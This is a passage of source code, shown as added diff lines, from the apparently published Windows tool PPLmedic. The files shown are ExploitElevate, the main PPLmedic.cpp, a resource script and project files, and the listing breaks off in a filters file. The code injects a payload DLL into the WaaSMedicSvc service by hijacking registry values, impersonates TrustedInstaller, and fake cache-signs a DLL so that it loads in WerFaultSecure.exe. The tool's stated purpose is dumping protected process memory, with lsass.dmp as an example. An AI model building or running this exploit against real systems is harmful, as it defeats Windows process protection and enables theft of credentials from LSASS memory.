     47 + LPWSTR GetTypeLibOrigPath();
     48 + LPWSTR GetWaaSMedicCapsulePath();
     49 + LPWSTR GetProxyStubRegValuePath();
     50 + LPWSTR GetProxyStubOrigPath();
     51 + LPWSTR GetProxyStubDllLoadEventName();
     52 + LPWSTR GetHijackedDllName();
     53 + LPWSTR GetHijackedDllSectionPath();
     54 + // Helpers
     55 + BOOL RestartWaaSMedicSvc();
     56 + BOOL FindWaaSMedicSvcPid();
     57 + BOOL LockPluginDll();
     58 + BOOL UnlockPluginDll();
     59 + BOOL FindWaaSMedicSvcBaseNamedObjectsHandle();
     60 + BOOL FindTrustedInstallerToken();
     61 + BOOL ImpersonateTrustedInstaller();
     62 + BOOL RevertToSelf();
     63 + BOOL WriteTypeLib();
     64 + BOOL DeleteTypeLib();
     65 + BOOL FindTypeLibRegistryValuePath();
     66 + BOOL ModifyTypeLibRegistryValue();
     67 + BOOL RestoreTypeLibRegistryValue();
     68 + BOOL FindWaaSMedicCapsulePath();
     69 + BOOL FindProxyStubRegistryValuePath();
     70 + BOOL ModifyProxyStubRegistryValue();
     71 + BOOL RestoreProxyStubRegistryValue();
     72 + BOOL MapPayloadDll();
     73 + BOOL UnmapPayloadDll();
     74 + BOOL CreateDummyDllFile();
     75 + BOOL IsProxyStubDllLoaded();
     76 + BOOL EnumerateTemporaryDirectories(std::vector<LPWSTR>* List);
     77 + BOOL DeleteTemporaryDirectories();
     78 +};
  • ■ ■ ■ ■ ■ ■
    PPLmedic/ExploitElevate.cpp
     1 +#include "ExploitElevate.h"
     2 +#include "globaldef.h"
     3 +#include "Utils.h"
     4 +#include "resource.h"
     5 +#include <strsafe.h>
     6 + 
     7 +ExploitElevate::ExploitElevate()
     8 +{
     9 + _WorkspacePath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
     10 + _PayloadDllFilePath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
     11 + _SignedDllFilePath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
     12 + _ExeFilePath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));
     13 + _DllLoadEventHandle = NULL;
     14 + _ProtectedProcessHandle = NULL;
     15 +}
     16 + 
     17 +ExploitElevate::~ExploitElevate()
     18 +{
     19 + //
     20 + // Wait for the protected process to terminate to make sure all file handles
     21 + // are closed before attempting to delete them.
     22 + //
     23 + if (_ProtectedProcessHandle) WaitForSingleObject(_ProtectedProcessHandle, TIMEOUT);
     24 + 
     25 + //
     26 + // Try to delete the files that were created in the workspace directory.
     27 + //
     28 + if (!DeleteFileW(_PayloadDllFilePath)) WARNING(L"Failed to delete file: %ws", _PayloadDllFilePath);
     29 + if (!DeleteFileW(_SignedDllFilePath)) WARNING(L"Failed to delete file: %ws", _SignedDllFilePath);
     30 + if (!DeleteFileW(_ExeFilePath)) WARNING(L"Failed to delete file: %ws", _ExeFilePath);
     31 + 
     32 + //
     33 + // Free buffers and close object handles.
     34 + //
     35 + if (_WorkspacePath) LocalFree(_WorkspacePath);
     36 + if (_PayloadDllFilePath) LocalFree(_PayloadDllFilePath);
     37 + if (_SignedDllFilePath) LocalFree(_SignedDllFilePath);
     38 + if (_ExeFilePath) LocalFree(_ExeFilePath);
     39 + if (_DllLoadEventHandle) CloseHandle(_DllLoadEventHandle);
     40 + if (_ProtectedProcessHandle) CloseHandle(_ProtectedProcessHandle);
     41 +}
     42 + 
     43 +BOOL ExploitElevate::Initialize()
     44 +{
     45 + BOOL bResult = FALSE;
     46 + LPWSTR pwszDllLoadEventName = NULL;
     47 + 
     48 + EXIT_ON_ERROR(!this->InitializeWorkspacePath());
     49 + EXIT_ON_ERROR(!this->InitializeFilePaths());
     50 + EXIT_ON_ERROR(!this->PrepareWorkspaceFiles());
     51 + EXIT_ON_ERROR(!(pwszDllLoadEventName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR))));
     52 + 
     53 + swprintf_s(pwszDllLoadEventName, MAX_PATH, L"Global\\%ws", STR_IPC_WERFAULT_LOAD_EVENT_NAME);
     54 + 
     55 + EXIT_ON_ERROR((this->_DllLoadEventHandle = CreateEventW(NULL, TRUE, FALSE, pwszDllLoadEventName)) == NULL);
     56 + 
     57 + bResult = TRUE;
     58 + 
     59 +cleanup:
     60 + DEBUG(L"Result: %d", bResult);
     61 + 
     62 + if (pwszDllLoadEventName) LocalFree(pwszDllLoadEventName);
     63 + 
     64 + return bResult;
     65 +}
     66 + 
     67 +LPWSTR ExploitElevate::GetPayloadDllFilePath()
     68 +{
     69 + return this->_PayloadDllFilePath;
     70 +}
     71 + 
     72 +LPWSTR ExploitElevate::GetSignedDllFilePath()
     73 +{
     74 + return this->_SignedDllFilePath;
     75 +}
     76 + 
     77 +BOOL ExploitElevate::Run()
     78 +{
     79 + BOOL bResult = FALSE;
     80 + PS_PROTECTION p;
     81 + PROCESS_INFORMATION pi;
     82 + 
     83 + p.Type = PsProtectedTypeProtectedLight;
     84 + p.Signer = PsProtectedSignerWinTcb;
     85 + 
     86 + EXIT_ON_ERROR(!Utils::CreateProtectedProcess(this->_ExeFilePath, p, &pi));
     87 + this->_ProtectedProcessHandle = pi.hProcess;
     88 + EXIT_ON_ERROR(WaitForSingleObject(this->_DllLoadEventHandle, TIMEOUT) != WAIT_OBJECT_0);
     89 + 
     90 + bResult = TRUE;
     91 + 
     92 +cleanup:
     93 + DEBUG(L"Result: %d", bResult);
     94 + if (pi.hThread) CloseHandle(pi.hThread);
     95 + 
     96 + return bResult;
     97 +}
     98 + 
     99 +BOOL ExploitElevate::InitializeWorkspacePath()
     100 +{
     101 + BOOL bResult = FALSE;
     102 + 
     103 + EXIT_ON_ERROR(!GetTempPathW(MAX_PATH, this->_WorkspacePath));
     104 + 
     105 + bResult = TRUE;
     106 + 
     107 +cleanup:
     108 + DEBUG(L"Workspace path: %ws | Result: %d", this->_WorkspacePath, bResult);
     109 + 
     110 + return bResult;
     111 +}
     112 + 
     113 +BOOL ExploitElevate::InitializeFilePaths()
     114 +{
     115 + BOOL bResult = FALSE;
     116 + 
     117 + // Temp file for the payload DLL
     118 + EXIT_ON_ERROR(!GetTempFileNameW(this->_WorkspacePath, L"", 0, this->_PayloadDllFilePath));
     119 + 
     120 + // Temp path for the faultrep.dll DLL
     121 + swprintf_s(this->_SignedDllFilePath, MAX_PATH, L"%ws%ws", this->_WorkspacePath, STR_CACHE_SIGNED_DLL_NAME);
     122 + 
     123 + // Temp path for the WerFaultSecure.exe executable
     124 + swprintf_s(this->_ExeFilePath, MAX_PATH, L"%ws%ws", this->_WorkspacePath, STR_SIGNED_EXE_NAME);
     125 + 
     126 + bResult = TRUE;
     127 + 
     128 +cleanup:
     129 + DEBUG(L"Payload path: %ws | Signed DLL path: %ws | EXE path: %ws | Result: %d", this->_PayloadDllFilePath, this->_SignedDllFilePath, this->_ExeFilePath, bResult);
     130 + 
     131 + return bResult;
     132 +}
     133 + 
     134 +BOOL ExploitElevate::PrepareWorkspaceFiles()
     135 +{
     136 + BOOL bResult = FALSE;
     137 + LPVOID pDllData;
     138 + DWORD dwDllSize, dwBytesWritten;
     139 + HANDLE hFile = INVALID_HANDLE_VALUE;
     140 + LPWSTR pwszExeSystemPath = NULL;
     141 + 
     142 + // Write payload DLL in a temp file in the workspace directory
     143 + EXIT_ON_ERROR(!Utils::GetEmbeddedResource(IDR_RCDATA1, &pDllData, &dwDllSize));
     144 + EXIT_ON_ERROR((hFile = CreateFileW(this->_PayloadDllFilePath, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE);
     145 + EXIT_ON_ERROR(!WriteFile(hFile, pDllData, dwDllSize, &dwBytesWritten, NULL));
     146 + 
     147 + // Copy WerFaultSecure.exe to workspace directory
     148 + EXIT_ON_ERROR(!(pwszExeSystemPath = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR))));
     149 + EXIT_ON_ERROR(!GetSystemDirectoryW(pwszExeSystemPath, MAX_PATH));
     150 + swprintf_s(pwszExeSystemPath, MAX_PATH, L"%ws\\%ws", pwszExeSystemPath, STR_SIGNED_EXE_NAME);
     151 + EXIT_ON_ERROR(!CopyFileW(pwszExeSystemPath, this->_ExeFilePath, FALSE));
     152 + 
     153 + bResult = TRUE;
     154 + 
     155 +cleanup:
     156 + DEBUG(L"Result: %d", bResult);
     157 + 
     158 + if (hFile && hFile != INVALID_HANDLE_VALUE) CloseHandle(hFile);
     159 + if (pwszExeSystemPath) LocalFree(pwszExeSystemPath);
     160 + 
     161 + return bResult;
     162 +}
     163 + 
  • ■ ■ ■ ■ ■ ■
    PPLmedic/ExploitElevate.h
     1 +#pragma once
     2 + 
     3 +#include <windows.h>
     4 + 
     5 +class ExploitElevate
     6 +{
     7 +private:
     8 + LPWSTR _WorkspacePath;
     9 + LPWSTR _PayloadDllFilePath;
     10 + LPWSTR _SignedDllFilePath;
     11 + LPWSTR _ExeFilePath;
     12 + HANDLE _DllLoadEventHandle;
     13 + HANDLE _ProtectedProcessHandle;
     14 + 
     15 +public:
     16 + ExploitElevate();
     17 + ~ExploitElevate();
     18 + BOOL Initialize();
     19 + LPWSTR GetPayloadDllFilePath();
     20 + LPWSTR GetSignedDllFilePath();
     21 + BOOL Run();
     22 + 
     23 +private:
     24 + BOOL InitializeWorkspacePath();
     25 + BOOL InitializeFilePaths();
     26 + BOOL PrepareWorkspaceFiles();
     27 +};
  • ■ ■ ■ ■ ■ ■
    PPLmedic/PPLmedic.cpp
     1 +#include <iostream>
     2 +#include "Utils.h"
     3 +#include "Exploit.h"
     4 +#include "ExploitElevate.h"
     5 +#include "Client.h"
     6 + 
     7 +#if !defined(_WIN64)
     8 +#error Only x64 architecture is supported.
     9 +#endif
     10 + 
     11 +void PrintUsage(wchar_t* argv[]);
     12 +BOOL ConnectClient(Client* client);
     13 + 
     14 +int wmain(int argc, wchar_t* argv[])
     15 +{
     16 + Exploit* exploit = nullptr;
     17 + ExploitElevate* exploit_elevate = nullptr;
     18 + Client* client = nullptr;
     19 + 
     20 + Command cmd = Command::Undefined;
     21 + LPWSTR pwszDumpfilePath = NULL;
     22 + DWORD dwProcessId = 0;
     23 + BOOL bElevateProtectionLevel = FALSE;
     24 + DWORD dwSigningLevel = 0;
     25 + 
     26 + if (argc < 2)
     27 + {
     28 + PrintUsage(argv);
     29 + return 1;
     30 + }
     31 + 
     32 + --argc;
     33 + ++argv;
     34 + 
     35 + //
     36 + // Process positional arguments
     37 + //
     38 + 
     39 + if (!_wcsicmp(argv[0], STR_PPLMEDIC_CMD_DUMP))
     40 + {
     41 + cmd = Command::ProcessDump;
     42 + --argc;
     43 + ++argv;
     44 + 
     45 + if (argc < 2)
     46 + {
     47 + ERROR(L"Invalid number of arguments.");
     48 + return 1;
     49 + }
     50 + 
     51 + if (!(dwProcessId = wcstoul(argv[0], nullptr, 10)))
     52 + {
     53 + ERROR(L"Failed to parse argument as a valid integer: %ws", argv[0]);
     54 + return 1;
     55 + }
     56 + 
     57 + pwszDumpfilePath = argv[1];
     58 + 
     59 + if (Utils::FileExists(pwszDumpfilePath))
     60 + {
     61 + ERROR(L"File already exists: %ws", pwszDumpfilePath);
     62 + return 1;
     63 + }
     64 + 
     65 + argc -= 2;
     66 + argv += 2;
     67 + }
     68 + else if (!_wcsicmp(argv[0], STR_PPLMEDIC_CMD_RESTORE))
     69 + {
     70 + cmd = Command::Restore;
     71 + --argc;
     72 + ++argv;
     73 + }
     74 + else
     75 + {
     76 + ERROR(L"Unknown command: %ws", argv[0]);
     77 + return 1;
     78 + }
     79 + 
     80 + //
     81 + // Process optional arguments
     82 + //
     83 + 
     84 + while (argc)
     85 + {
     86 + if (argv[0][0] != L'-')
     87 + {
     88 + ERROR(L"Invalid option: %ws", argv[0]);
     89 + return 1;
     90 + }
     91 + 
     92 + switch (argv[0][1])
     93 + {
     94 + case 'p':
     95 + bElevateProtectionLevel = TRUE;
     96 + break;
     97 + }
     98 + 
     99 + --argc;
     100 + ++argv;
     101 + }
     102 + 
     103 + exploit = new Exploit();
     104 + 
     105 + //
     106 + // If we just want to restore the registry values, do this and exit.
     107 + //
     108 + 
     109 + if (cmd == Command::Restore)
     110 + {
     111 + if (!exploit->Restore())
     112 + {
     113 + ERROR(L"Failed to restore registry keys.");
     114 + goto cleanup;
     115 + }
     116 + 
     117 + SUCCESS(L"The registry keys were reset to their default values.");
     118 + 
     119 + goto cleanup;
     120 + }
     121 + 
     122 + //
     123 + // Run the exploit to inject our DLL in the WaaSMedicSvc service.
     124 + //
     125 + 
     126 + if (!exploit->Run())
     127 + {
     128 + ERROR(L"Exploit failed");
     129 + goto cleanup;
     130 + }
     131 + 
     132 + //
     133 + // If the exploit is successful, try to connect to the remote named pipe.
     134 + //
     135 + 
     136 + client = new Client(STR_IPC_PIPE_NAME);
     137 + 
     138 + if (!ConnectClient(client))
     139 + goto cleanup;
     140 + 
     141 + //
     142 + // If the user wants to get the highest protection level, try to create a
     143 + // fake cached signature for our DLL and inject it in WerFaultSecure.exe.
     144 + // Do this only if it is relevant (e.g. a process memory dump).
     145 + //
     146 + 
     147 + if (bElevateProtectionLevel && (cmd == Command::ProcessDump))
     148 + {
     149 + INFO(L"Attempting to get a higher process protection level...");
     150 + 
     151 + exploit_elevate = new ExploitElevate();
     152 + 
     153 + if (!exploit_elevate->Initialize())
     154 + {
     155 + ERROR(L"Failed to initialize protection elevation exploit.");
     156 + goto cleanup;
     157 + }
     158 + 
     159 + if (!client->FakeSignDll(exploit_elevate->GetPayloadDllFilePath(), exploit_elevate->GetSignedDllFilePath(), &dwSigningLevel))
     160 + {
     161 + ERROR(L"Failed to cache sign '%ws' (LE: %d).", exploit_elevate->GetSignedDllFilePath(), client->GetLastError());
     162 + goto cleanup;
     163 + }
     164 + 
     165 + if (dwSigningLevel < SE_SIGNING_LEVEL_WINDOWS)
     166 + {
     167 + ERROR(L"Unexpected cached signing level: %d - %ws", dwSigningLevel, Utils::GetSigningLevelAsString(dwSigningLevel));
     168 + goto cleanup;
     169 + }
     170 + 
     171 + SUCCESS(L"Target file '%ws' should now be cache signed (level=%d - %ws).", exploit_elevate->GetSignedDllFilePath(), dwSigningLevel, Utils::GetSigningLevelAsString(dwSigningLevel));
     172 + 
     173 + //
     174 + // We must delete the client to let the server currently running in
     175 + // WaaSMedicSvc know that it can stop and thus free the named pipe.
     176 + // The named pipe will be reused if our DLL is successfully injected
     177 + // in WerFaultSecure.
     178 + //
     179 + 
     180 + delete client;
     181 + client = nullptr;
     182 + 
     183 + if (!exploit_elevate->Run())
     184 + {
     185 + ERROR(L"Failed to inject DLL in protected process.");
     186 + goto cleanup;
     187 + }
     188 + 
     189 + client = new Client(STR_IPC_PIPE_NAME);
     190 + 
     191 + if (!ConnectClient(client))
     192 + goto cleanup;
     193 + }
     194 + 
     195 + switch (cmd)
     196 + {
     197 + case Command::ProcessDump:
     198 + 
     199 + if (!client->DumpProcessMemory(dwProcessId, pwszDumpfilePath))
     200 + {
     201 + ERROR(L"Failed to dump memory of process with PID %d (LE: %d).", dwProcessId, client->GetLastError());
     202 + goto cleanup;
     203 + }
     204 + 
     205 + SUCCESS(L"Memory dump of process with PID %d successful: %ws", dwProcessId, pwszDumpfilePath);
     206 + 
     207 + break;
     208 + }
     209 + 
     210 +cleanup:
     211 + if (client) delete client;
     212 + if (exploit_elevate) delete exploit_elevate;
     213 + if (exploit) delete exploit;
     214 + 
     215 + INFO(L"All done.");
     216 + 
     217 + return 0;
     218 +}
     219 + 
     220 +void PrintUsage(wchar_t* argv[])
     221 +{
     222 + wprintf(
     223 + L""
     224 + " _____ _____ __ _ _ \r\n"
     225 + "| _ | _ | | _____ ___ _| |_|___ \r\n"
     226 + "| __| __| |__| | -_| . | | _| version 0.1\r\n"
     227 + "|__| |__| |_____|_|_|_|___|___|_|___| by @itm4n\r\n"
     228 + "\r\n"
     229 + "Description:\r\n"
     230 + " Dump the memory of a Protected Process Light (PPL) with a *userland* exploit\r\n"
     231 + "\r\n"
     232 + "Usage:\r\n"
     233 + " %ws %ws <PID> <DUMP_FILE> [-p]\r\n"
     234 + " %ws %ws\r\n"
     235 + "\r\n"
     236 + "Commands:\r\n"
     237 + " %-10ws: dump the memory of a PPL\r\n"
     238 + " %-10ws: restore the registry keys (use only if the tool was interrupted)\r\n"
     239 + "\r\n"
     240 + "Options:\r\n"
     241 + " %-10ws: elevate from PPL-Windows to PPL-WinTcb\r\n"
     242 + "\r\n"
     243 + "Examples:\r\n"
     244 + " PPLmedic.exe dump 756 C:\\Temp\\lsass.dmp\r\n"
     245 + " PPLmedic.exe dump 520 C:\\Temp\\csrss.dmp -p\r\n"
     246 + "\r\n",
     247 + argv[0],
     248 + STR_PPLMEDIC_CMD_DUMP,
     249 + argv[0],
     250 + STR_PPLMEDIC_CMD_RESTORE,
     251 + STR_PPLMEDIC_CMD_DUMP,
     252 + STR_PPLMEDIC_CMD_RESTORE,
     253 + STR_PPLMEDIC_OPT_ELEVATE
     254 + );
     255 +}
     256 + 
     257 +BOOL ConnectClient(Client* client)
     258 +{
     259 + DWORD dwProtectionLevel = PROTECTION_LEVEL_NONE;
     260 + 
     261 + if (!client->Connect())
     262 + {
     263 + ERROR(L"Failed to open IPC connection.");
     264 + return FALSE;
     265 + }
     266 + 
     267 + INFO("Connected to remote process.");
     268 + 
     269 + if (!client->GetProtectionLevel(&dwProtectionLevel))
     270 + {
     271 + ERROR(L"Failed to retrieve protection level (LE: %d).", client->GetLastError());
     272 + return FALSE;
     273 + }
     274 + 
     275 + SUCCESS(L"Remote process protection level: 0x%08x (%ws)", dwProtectionLevel, Utils::GetProcessProtectionLevelAsString(dwProtectionLevel));
     276 + 
     277 + if (dwProtectionLevel == PROTECTION_LEVEL_NONE)
     278 + {
     279 + ERROR(L"The remote process does not seem to be protected, something went wrong.");
     280 + return FALSE;
     281 + }
     282 + 
     283 + return TRUE;
     284 +}
  • ■ ■ ■ ■ ■ ■
    PPLmedic/PPLmedic.rc
     1 +// Microsoft Visual C++ generated resource script.
     2 +//
     3 +#include "resource.h"
     4 + 
     5 +#define APSTUDIO_READONLY_SYMBOLS
     6 +/////////////////////////////////////////////////////////////////////////////
     7 +//
     8 +// Generated from the TEXTINCLUDE 2 resource.
     9 +//
     10 +#include "winres.h"
     11 + 
     12 +/////////////////////////////////////////////////////////////////////////////
     13 +#undef APSTUDIO_READONLY_SYMBOLS
     14 + 
     15 +/////////////////////////////////////////////////////////////////////////////
     16 +// English (United States) resources
     17 + 
     18 +#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
     19 +LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US
     20 +#pragma code_page(1252)
     21 + 
     22 +#ifdef APSTUDIO_INVOKED
     23 +/////////////////////////////////////////////////////////////////////////////
     24 +//
     25 +// TEXTINCLUDE
     26 +//
     27 + 
     28 +1 TEXTINCLUDE
     29 +BEGIN
     30 + "resource.h\0"
     31 +END
     32 + 
     33 +2 TEXTINCLUDE
     34 +BEGIN
     35 + "#include ""winres.h""\r\n"
     36 + "\0"
     37 +END
     38 + 
     39 +3 TEXTINCLUDE
     40 +BEGIN
     41 + "\r\n"
     42 + "\0"
     43 +END
     44 + 
     45 +#endif // APSTUDIO_INVOKED
     46 + 
     47 + 
     48 +/////////////////////////////////////////////////////////////////////////////
     49 +//
     50 +// RCDATA
     51 +//
     52 + 
     53 +IDR_RCDATA1 RCDATA "..\\x64\\Release\\PPLmedicDll.dll"
     54 + 
     55 +#endif // English (United States) resources
     56 +/////////////////////////////////////////////////////////////////////////////
     57 + 
     58 + 
     59 + 
     60 +#ifndef APSTUDIO_INVOKED
     61 +/////////////////////////////////////////////////////////////////////////////
     62 +//
     63 +// Generated from the TEXTINCLUDE 3 resource.
     64 +//
     65 + 
     66 + 
     67 +/////////////////////////////////////////////////////////////////////////////
     68 +#endif // not APSTUDIO_INVOKED
     69 + 
     70 + 
  • ■ ■ ■ ■ ■ ■
    PPLmedic/PPLmedic.vcxproj
     1 +<?xml version="1.0" encoding="utf-8"?>
     2 +<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
     3 + <ItemGroup Label="ProjectConfigurations">
     4 + <ProjectConfiguration Include="Debug|Win32">
     5 + <Configuration>Debug</Configuration>
     6 + <Platform>Win32</Platform>
     7 + </ProjectConfiguration>
     8 + <ProjectConfiguration Include="Release|Win32">
     9 + <Configuration>Release</Configuration>
     10 + <Platform>Win32</Platform>
     11 + </ProjectConfiguration>
     12 + <ProjectConfiguration Include="Debug|x64">
     13 + <Configuration>Debug</Configuration>
     14 + <Platform>x64</Platform>
     15 + </ProjectConfiguration>
     16 + <ProjectConfiguration Include="Release|x64">
     17 + <Configuration>Release</Configuration>
     18 + <Platform>x64</Platform>
     19 + </ProjectConfiguration>
     20 + </ItemGroup>
     21 + <PropertyGroup Label="Globals">
     22 + <VCProjectVersion>16.0</VCProjectVersion>
     23 + <Keyword>Win32Proj</Keyword>
     24 + <ProjectGuid>{29cbbc24-363f-42d7-b018-5ef068ba8777}</ProjectGuid>
     25 + <RootNamespace>PPLmedic</RootNamespace>
     26 + <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
     27 + </PropertyGroup>
     28 + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
     29 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
     30 + <ConfigurationType>Application</ConfigurationType>
     31 + <UseDebugLibraries>true</UseDebugLibraries>
     32 + <PlatformToolset>v142</PlatformToolset>
     33 + <CharacterSet>Unicode</CharacterSet>
     34 + </PropertyGroup>
     35 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
     36 + <ConfigurationType>Application</ConfigurationType>
     37 + <UseDebugLibraries>false</UseDebugLibraries>
     38 + <PlatformToolset>v142</PlatformToolset>
     39 + <WholeProgramOptimization>true</WholeProgramOptimization>
     40 + <CharacterSet>Unicode</CharacterSet>
     41 + </PropertyGroup>
     42 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
     43 + <ConfigurationType>Application</ConfigurationType>
     44 + <UseDebugLibraries>true</UseDebugLibraries>
     45 + <PlatformToolset>v142</PlatformToolset>
     46 + <CharacterSet>Unicode</CharacterSet>
     47 + </PropertyGroup>
     48 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
     49 + <ConfigurationType>Application</ConfigurationType>
     50 + <UseDebugLibraries>false</UseDebugLibraries>
     51 + <PlatformToolset>v142</PlatformToolset>
     52 + <WholeProgramOptimization>true</WholeProgramOptimization>
     53 + <CharacterSet>Unicode</CharacterSet>
     54 + </PropertyGroup>
     55 + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
     56 + <ImportGroup Label="ExtensionSettings">
     57 + </ImportGroup>
     58 + <ImportGroup Label="Shared">
     59 + </ImportGroup>
     60 + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
     61 + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
     62 + </ImportGroup>
     63 + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     64 + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
     65 + </ImportGroup>
     66 + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     67 + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
     68 + </ImportGroup>
     69 + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     70 + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
     71 + </ImportGroup>
     72 + <PropertyGroup Label="UserMacros" />
     73 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
     74 + <LinkIncremental>true</LinkIncremental>
     75 + </PropertyGroup>
     76 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     77 + <LinkIncremental>false</LinkIncremental>
     78 + </PropertyGroup>
     79 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     80 + <LinkIncremental>true</LinkIncremental>
     81 + </PropertyGroup>
     82 + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     83 + <LinkIncremental>false</LinkIncremental>
     84 + </PropertyGroup>
     85 + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
     86 + <ClCompile>
     87 + <WarningLevel>Level3</WarningLevel>
     88 + <SDLCheck>true</SDLCheck>
     89 + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
     90 + <ConformanceMode>true</ConformanceMode>
     91 + </ClCompile>
     92 + <Link>
     93 + <SubSystem>Console</SubSystem>
     94 + <GenerateDebugInformation>false</GenerateDebugInformation>
     95 + </Link>
     96 + </ItemDefinitionGroup>
     97 + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     98 + <ClCompile>
     99 + <WarningLevel>Level3</WarningLevel>
     100 + <FunctionLevelLinking>true</FunctionLevelLinking>
     101 + <IntrinsicFunctions>true</IntrinsicFunctions>
     102 + <SDLCheck>true</SDLCheck>
     103 + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
     104 + <ConformanceMode>true</ConformanceMode>
     105 + </ClCompile>
     106 + <Link>
     107 + <SubSystem>Console</SubSystem>
     108 + <EnableCOMDATFolding>true</EnableCOMDATFolding>
     109 + <OptimizeReferences>true</OptimizeReferences>
     110 + <GenerateDebugInformation>false</GenerateDebugInformation>
     111 + </Link>
     112 + </ItemDefinitionGroup>
     113 + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     114 + <ClCompile>
     115 + <WarningLevel>Level3</WarningLevel>
     116 + <SDLCheck>true</SDLCheck>
     117 + <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
     118 + <ConformanceMode>true</ConformanceMode>
     119 + </ClCompile>
     120 + <Link>
     121 + <SubSystem>Console</SubSystem>
     122 + <GenerateDebugInformation>false</GenerateDebugInformation>
     123 + </Link>
     124 + </ItemDefinitionGroup>
     125 + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     126 + <ClCompile>
     127 + <WarningLevel>Level3</WarningLevel>
     128 + <FunctionLevelLinking>true</FunctionLevelLinking>
     129 + <IntrinsicFunctions>true</IntrinsicFunctions>
     130 + <SDLCheck>true</SDLCheck>
     131 + <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
     132 + <ConformanceMode>true</ConformanceMode>
     133 + </ClCompile>
     134 + <Link>
     135 + <SubSystem>Console</SubSystem>
     136 + <EnableCOMDATFolding>true</EnableCOMDATFolding>
     137 + <OptimizeReferences>true</OptimizeReferences>
     138 + <GenerateDebugInformation>false</GenerateDebugInformation>
     139 + </Link>
     140 + </ItemDefinitionGroup>
     141 + <ItemGroup>
     142 + <ClCompile Include="Client.cpp" />
     143 + <ClCompile Include="Exploit.cpp" />
     144 + <ClCompile Include="ExploitElevate.cpp" />
     145 + <ClCompile Include="PPLmedic.cpp" />
     146 + <ClCompile Include="Utils.cpp" />
     147 + <ClCompile Include="WaaSMedicClient.cpp" />
     148 + </ItemGroup>
     149 + <ItemGroup>
     150 + <ClInclude Include="Client.h" />
     151 + <ClInclude Include="Exploit.h" />
     152 + <ClInclude Include="ExploitElevate.h" />
     153 + <ClInclude Include="globaldef.h" />
     154 + <ClInclude Include="ntstuff.h" />
     155 + <ClInclude Include="resource.h" />
     156 + <ClInclude Include="Utils.h" />
     157 + <ClInclude Include="WaaSMedicClient.h" />
     158 + </ItemGroup>
     159 + <ItemGroup>
     160 + <ResourceCompile Include="PPLmedic.rc" />
     161 + </ItemGroup>
     162 + <ItemGroup>
     163 + <None Include="..\x64\Release\PPLmedicDll.dll" />
     164 + </ItemGroup>
     165 + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
     166 + <ImportGroup Label="ExtensionTargets">
     167 + </ImportGroup>
     168 +</Project>
  • ■ ■ ■ ■ ■ ■
    PPLmedic/PPLmedic.vcxproj.filters
     1 +<?xml version="1.0" encoding="utf-8"?>
     2 +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
     3 + <ItemGroup>
     4 + <Filter Include="Source Files">
     5 + <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
     6 + <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
     7 + </Filter>
     8 + <Filter Include="Header Files">
